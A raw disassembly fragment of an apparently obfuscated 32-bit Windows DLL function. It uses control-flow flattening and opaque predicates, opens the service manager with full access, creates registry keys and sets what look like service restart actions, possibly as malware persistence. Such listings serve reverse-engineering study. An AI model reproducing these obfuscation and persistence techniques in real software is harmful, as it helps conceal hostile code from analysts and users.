call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ecx, 0x87b1a0dc
jmp 0x1001aad6
mov ecx, 0xa54e7ab4
jmp 0x1001aad6
mov edi, 0x20a
push edi
lea eax, [ebp - 0x30e]
push eax
call dword [sym.imp.NTDLL.dll_RtlZeroMemory]
mov dword [ebp - 0x60], edi
mov ecx, 0xfa4e387e
jmp 0x1001aad6
push dword [ebp - 0x9c]
lea eax, [ebp - 0x30e]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
mov ecx, 0xc494641
mov eax, 0x273f44ab
cmove ecx, eax
jmp 0x1001aad6
mov ecx, 0xaf527736
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x10098e50], 0xa
setge cl
setl dl
xor dl, al
or cl, al
mov eax, edx
xor al, cl
mov eax, 0x4f8c75f9
mov edi, 0xc99c1f46
cmovne eax, edi
test cl, cl
mov ecx, 0xc99c1f46
cmovne ecx, eax
jmp 0x1001d509
cmp dword [ebp - 0x34], 0
setne byte [ebp - 0x20]
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x10098e50], 0xa
setge al
setl cl
and ah, cl
and al, dl
or al, ah
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x8d5927e3
mov edi, 0x6646058d
cmovne ecx, edi
test al, al
cmove ecx, edi
test dl, dl
mov eax, 0x8d5927e3
cmove ecx, eax
jmp 0x1001aad6
cmp dword [ebp - 0x74], 0
setne byte [ebp - 0x1a]
mov ecx, 0xc0239e03
jmp 0x1001aad6
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x14], eax
test eax, eax
mov ecx, 0x1b8d1b4b
mov eax, 0xd7bae613
cmove ecx, eax
jmp 0x1001aad6
push 1
xor eax, eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x70], eax
mov ecx, 0x716e9f7d
jmp 0x1001aad6
mov eax, dword [ebp - 0x4c]
mov ecx, 0xf6de0d7d
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x10098e50], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov eax, 0x498ad3e7
mov edi, 0xc935cb8c
cmovne eax, edi
test cl, cl
mov ecx, eax
mov edi, 0x498ad3e7
cmovne ecx, edi
test dl, dl
cmovne ecx, eax
jmp 0x1001aad6
cmp dword [ebp - 0x44], 0
setne byte [ebp - 0x1b]
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x10098e50], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
mov eax, ecx
xor al, dl
mov eax, 0x555b9ef2
mov edi, 0xff9af28a
cmovne eax, edi
test cl, cl
mov ecx, 0x555b9ef2
jmp 0x1001d945
mov ecx, 0x74f92000
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x10098e50], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x78f574f8
mov edi, 0xd9d79251
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0x78f574f8
cmove ecx, eax
jmp 0x1001aad6
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x80], eax
mov ecx, 0x1427ceed
jmp 0x1001aad6
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
xor eax, eax
push 0xf003f
push eax
mov dword [ebp - 0x3c], 0
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x40], eax
mov ecx, 0x381015c1
jmp 0x1001aad6
mov ecx, 0xc7169a29
jmp 0x1001aad6
xor eax, eax
push eax
push eax
push dword [ebp - 0xac]
call fcn.10014932
add esp, 0xc
mov ecx, 0xc39e0929
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne al
sete dl
cmp dword [0x10098e50], 0xa
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0xac], ecx
setl cl
setge ah
and ah, dl
and al, cl
or al, ah
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
mov edx, 0x33925586
mov edi, 0xef0edf6c
cmovne edx, edi
test cl, cl
mov ecx, 0x33925586
jmp 0x1001d75b
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x10098e50], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xa986546
mov edi, 0xcdd36cdd
cmovne ecx, edi
test dl, dl
mov edx, 0xa986546
cmovne ecx, edx
test al, al
cmove ecx, edi
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfaa8d8e
and eax, 0xf0557271
or eax, edx
xor eax, 0xf0557270
xor ecx, eax
test ecx, eax
sete dl
setne ah
cmp dword [0x10098e50], 0xa
setl cl
xor ah, cl
mov al, cl
xor al, dl
xor ah, 1
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
mov edx, 0x4ff8d0fe
mov edi, 0xef0edf6c
cmovne edx, edi
test cl, cl
mov ecx, 0x4ff8d0fe
cmovne ecx, edx
test al, al
cmove ecx, edx
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x22da0833
and eax, 0xdd25f7cc
or eax, edx
xor eax, 0xdd25f7cd
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x10098e50], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, ah
xor al, dl
mov ebx, 0x5c740aa4
mov ecx, 0x4f8c75f9
cmovne ebx, ecx
test dl, dl
mov ecx, ebx
mov edx, 0x5c740aa4
cmovne ecx, edx
test ah, ah
cmovne ecx, ebx
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xd44f0725
and eax, 0x2bb0f8da
or eax, edx
xor eax, 0xd44f0724
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x10098e50], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov eax, 0xfae1b211
mov edi, 0xaf7d1450
cmovne eax, edi
test cl, cl
mov ecx, eax
mov edi, 0xfae1b211
cmovne ecx, edi
test dl, dl
cmovne ecx, eax
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x10098e50], 0xa
setge dl
setl ah
and ah, cl
and al, dl
or al, ah
or dl, cl
mov ah, dl
xor ah, al
test dl, dl
mov ecx, 0xd36ce834
mov edx, 0x2cf25593
cmovne ecx, edx
test al, al
cmove ecx, edx
test ah, ah
mov eax, 0xd36ce834
cmove ecx, eax
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x3095c081
and eax, 0xcf6a3f7e
or eax, edx
xor eax, 0xcf6a3f7f
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x10098e50], 0xa
setl dl
xor al, dl
mov ecx, eax
xor cl, 1
and dl, cl
xor cl, dl
mov ebx, 0x87b1a0dc
mov ecx, 0xa41289b1
cmovne ebx, ecx
test al, al
mov ecx, ebx
mov eax, 0x87b1a0dc
cmovne ecx, eax
test dl, dl
cmove ecx, ebx
jmp 0x1001aad6
mov ecx, 0x322bef1f
jmp 0x1001aad6
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x10098e50], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x432fab75
mov edi, 0xe5998970
cmovne eax, edi
test cl, cl
mov ecx, 0x432fab75
cmovne ecx, eax
test dl, dl
cmove ecx, eax
jmp 0x1001aad6
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*8 - 0xe0], 1
mov dword [ebp + eax*8 - 0xdc], 0x1388
mov ecx, 0x2bac053
jmp 0x1001aad6
cmp byte [ebp - 0x1d], 0
mov ecx, 0x8fd6bd45
mov eax, 0xf355de45
cmovne ecx, eax
jmp 0x1001aad6
mov eax, dword [ebp - 0x58]
mov ecx, 0xf61674f
jmp 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x311f4762
and eax, 0xcee0b89d
or eax, edx
xor eax, 0xcee0b89c
xor ecx, eax
test ecx, eax
setne dl
sete ah
cmp dword [0x10098e50], 0xa
setl al
setge ch
mov cl, al
or al, ah
and ah, ch
and cl, dl
or cl, ah
xor ch, dl
xor al, 1
or al, ch
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x5ff2d673
mov edi, 0xd9d79251
cmovne eax, edi
test cl, cl
cmove eax, edi
test dl, dl
mov ecx, 0x5ff2d673
cmove eax, ecx
mov ecx, eax
jmp 0x1001aad6
mov ecx, 0x8fd6bd45
jmp 0x1001aad6
mov ecx, 0x318fb32
jmp 0x1001aad6
cmp ecx, 0x97d3ce67
jne 0x1001aad6
mov eax, dword [ebp - 0xb4]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret